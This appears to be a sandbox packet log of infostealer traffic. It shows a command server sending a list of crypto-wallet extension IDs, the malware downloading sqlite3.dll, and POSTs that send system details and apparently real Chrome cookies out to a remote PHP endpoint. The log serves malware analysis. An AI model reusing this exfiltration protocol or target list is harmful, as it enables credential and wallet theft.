Apr 26, 2024 11:06:08.736330986 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5416 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d 5a 75 59 6d 56 73 5a 6d 52 76 5a 57 6c 76 61 47 56 75 61 32 70 70 59 6d 35 74 59 57 52 71 61 57 56 6f 61 6d 68 68 61 6d 4a 38 4d 58 77 77 66 44 42 38 51 32 39 70 62 6d 4a 68 63 32 55 67 56 32 46 73 62 47 56 30 49 47 56 34 64 47 56 75 63 32 6c 76 62 6e 78 6f 62 6d 5a 68 62 6d 74 75 62 32 4e 6d 5a 57 39 6d 59 6d 52 6b 5a 32 4e 70 61 6d 35 74 61 47 35 6d 62 6d 74 6b 62 6d 46 68 5a 48 77 78 66 44 42 38 4d 58 78 48 64 57 46 79 5a 47 46 38 61 48 42 6e 62 47 5a 6f 5a 32 5a 75 61 47 4a 6e 63 47 70 6b 5a 57 35 71 5a 32 31 6b 5a 32 39 6c 61 57 46 77 63 47 46 6d 62 47 35 38 4d 58 77 77 66 44 42 38 53 6d 46 34 65 43 42 4d 61 57 4a 6c 63 6e 52 35 66 47 4e 71 5a 57 78 6d 63 47 78 77 62 47 56 69 5a 47 70 71 5a 57 35 73 62 48 42 71 59 32 4a 73 62 57 70 72 5a 6d 4e 6d 5a 6d 35 6c 66 44 46 38 4d 48 77 77 66 47 6c 58 59 57 78 73 5a 58 52 38 61 32 35 6a 59 32 68 6b 61 57 64 76 59 6d 64 6f 5a 57 35 69 59 6d 46 6b 5a 47 39 71 61 6d 35 75 59 57 39 6e 5a 6e 42 77 5a 6d 70 38 4d 58 77 77 66 44 42 38 54 55 56 58 49 45 4e 59 66 47 35 73 59 6d 31 75 62 6d 6c 71 59 32 35 73 5a 57 64 72 61 6d 70 77 59 32 5a 71 59 32 78 74 59 32 5a 6e 5a 32 5a 6c 5a 6d 52 74 66 44 46 38 4d 48 77 77 66 45 64 31 61 57 78 6b 56 32 46 73 62 47 56 30 66 47 35 68 62 6d 70 74 5a 47 74 75 61 47 74 70 62 6d 6c 6d 62 6d 74 6e 5a 47 4e 6e 5a 32 4e 6d 62 6d 68 6b 59 57 46 74 62 57 31 71 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 6d 62 6d 70 6f 62 57 74 6f 61 47 31 72 59 6d 70 72 61 32 46 69 62 6d 52 6a 62 6d 35 76 5a 32 46 6e 62 32 64 69 62 6d 56 6c 59 33 77 78 66 44 42 38 4d 48 78 4f 5a 57 39 4d 61 57 35 6c 66 47 4e 77 61 47 68 73 5a 32 31 6e 59 57 31 6c 62 32 52 75 61 47 74 71 5a 47 31 72 63 47 46 75 62 47 56 73 62 6d 78 76 61 47 46 76 66 44 46 38 4d 48 77 77 66 45 4e 4d 56 69 42 58 59 57 78 73 5a 58 52 38 62 6d 68 75 61 32 4a 72 5a 32 70 70 61 32 64 6a 61 57 64 68 5a 47 39 74 61 33 42 6f 59 57 78 68 62 6d 35 6b 59 32 46 77 61 6d 74 38 4d 58 77 77 66 44 42 38 54 47 6c 78 64 57 46 73 61 58 52 35 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhb
Apr 26, 2024 11:06:08.736351013 CEST	1289	IN	Data Raw: 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 Data Ascii: GxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBk
Apr 26, 2024 11:06:08.736463070 CEST	1289	IN	Data Raw: 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c Data Ascii: FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8M
Apr 26, 2024 11:06:08.736478090 CEST	1289	IN	Data Raw: 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 Data Ascii: wYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY2
Apr 26, 2024 11:06:08.736489058 CEST	456	IN	Data Raw: 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 Data Ascii: YmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHx
Apr 26, 2024 11:06:08.758888006 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGC Host: 185.172.128.76 Content-Length: 7007 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:08.758932114 CEST	7007	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Apr 26, 2024 11:06:08.999317884 CEST	1289	OUT	Data Raw: 6c 74 5a 53 41 74 49 44 45 78 4e 79 34 77 4c 6a 49 77 4e 44 55 75 4e 44 63 4b 43 55 70 68 64 6d 45 67 51 58 56 30 62 79 42 56 63 47 52 68 64 47 56 79 49 43 30 67 4d 69 34 34 4c 6a 4d 34 4d 53 34 35 43 67 6c 4b 59 58 5a 68 49 44 67 67 56 58 42 6b Data Ascii: ltZSAtIDExNy4wLjIwNDUuNDcKCUphdmEgQXV0byBVcGRhdGVyIC0gMi44LjM4MS45CglKYXZhIDggVXBkYXRlIDM4MSAtIDguMC4zODEwLjkKCU1pY3Jvc29mdCBWaXN1YWwgQysrIDIwMTUtMjAyMiBSZWRpc3RyaWJ1dGFibGUgKHg2NCkgLSAxNC4zNi4zMjUzMiAtIDE0LjM2LjMyNTMyLjAKCU9mZmljZSAxNiBDbGlja
Apr 26, 2024 11:06:09.376705885 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:09.377427101 CEST	93	OUT	GET /15f649199f40275b/sqlite3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 26, 2024 11:06:09.729168892 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:09 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00 2e 00 00 00 14 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 5c 0b 00 00 00 c0 0e 00 00 0c 00 00 00 42 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N
Apr 26, 2024 11:06:09.729188919 CEST	1289	IN	Data Raw: 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 Data Ascii: @B/81s:<R@B/92P @B
Apr 26, 2024 11:06:09.729202032 CEST	1289	IN	Data Raw: 00 00 00 e8 2b e9 0a 00 8d 43 ff 89 7c 24 08 89 5c 24 04 89 34 24 83 f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 Data Ascii: +C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$
Apr 26, 2024 11:06:09.729268074 CEST	1289	IN	Data Raw: 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 03 8b 42 10 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 11 8b 4a 10 85 c9 74 0a 8b 42 04 c6 04 08 00 8b 42 04 5d c3 8b 10 8d 4a 01 89 08 0f b6 12 81 fa bf 00 00 00 76 59 55 0f b6 92 40 9e ec 61 89 e5 53 8b 18 8a Data Ascii: ]U1UtB]U1UtJtBB]JvYU@aSuK?v"%=t=D[]USI1t9sAvuA@[] gatU$1U
Apr 26, 2024 11:06:13.197107077 CEST	952	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: 185.172.128.76 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 33 34 32 62 39 62 66 33 36 34 65 33 62 63 61 31 35 31 61 66 38 65 39 37 38 61 35 62 37 31 63 31 37 61 32 61 39 37 30 65 37 61 64 30 66 65 61 39 64 64 35 38 30 39 35 37 66 33 65 66 63 66 34 37 65 34 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------EHJDHJKFIECAAKFIJJKJ--
Apr 26, 2024 11:06:13.576368093 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:13.911434889 CEST	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGC Host: 185.172.128.76 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 33 34 32 62 39 62 66 33 36 34 65 33 62 63 61 31 35 31 61 66 38 65 39 37 38 61 35 62 37 31 63 31 37 61 32 61 39 37 30 65 37 61 64 30 66 65 61 39 64 64 35 38 30 39 35 37 66 33 65 66 63 66 34 37 65 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 58 49 30 61 44 52 6c 4f 48 49 30 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="file_name"ZXI0aDRlOHI0LmZpbGU=------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="file"------HIDHDGDHJEGHIDGDHCGC--
Apr 26, 2024 11:06:14.285934925 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:14.999046087 CEST	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGI Host: 185.172.128.76 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 33 34 32 62 39 62 66 33 36 34 65 33 62 63 61 31 35 31 61 66 38 65 39 37 38 61 35 62 37 31 63 31 37 61 32 61 39 37 30 65 37 61 64 30 66 65 61 39 64 64 35 38 30 39 35 37 66 33 65 66 63 66 34 37 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 58 49 30 61 44 52 6c 4f 48 49 30 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 2d 2d 0d 0a Data Ascii: 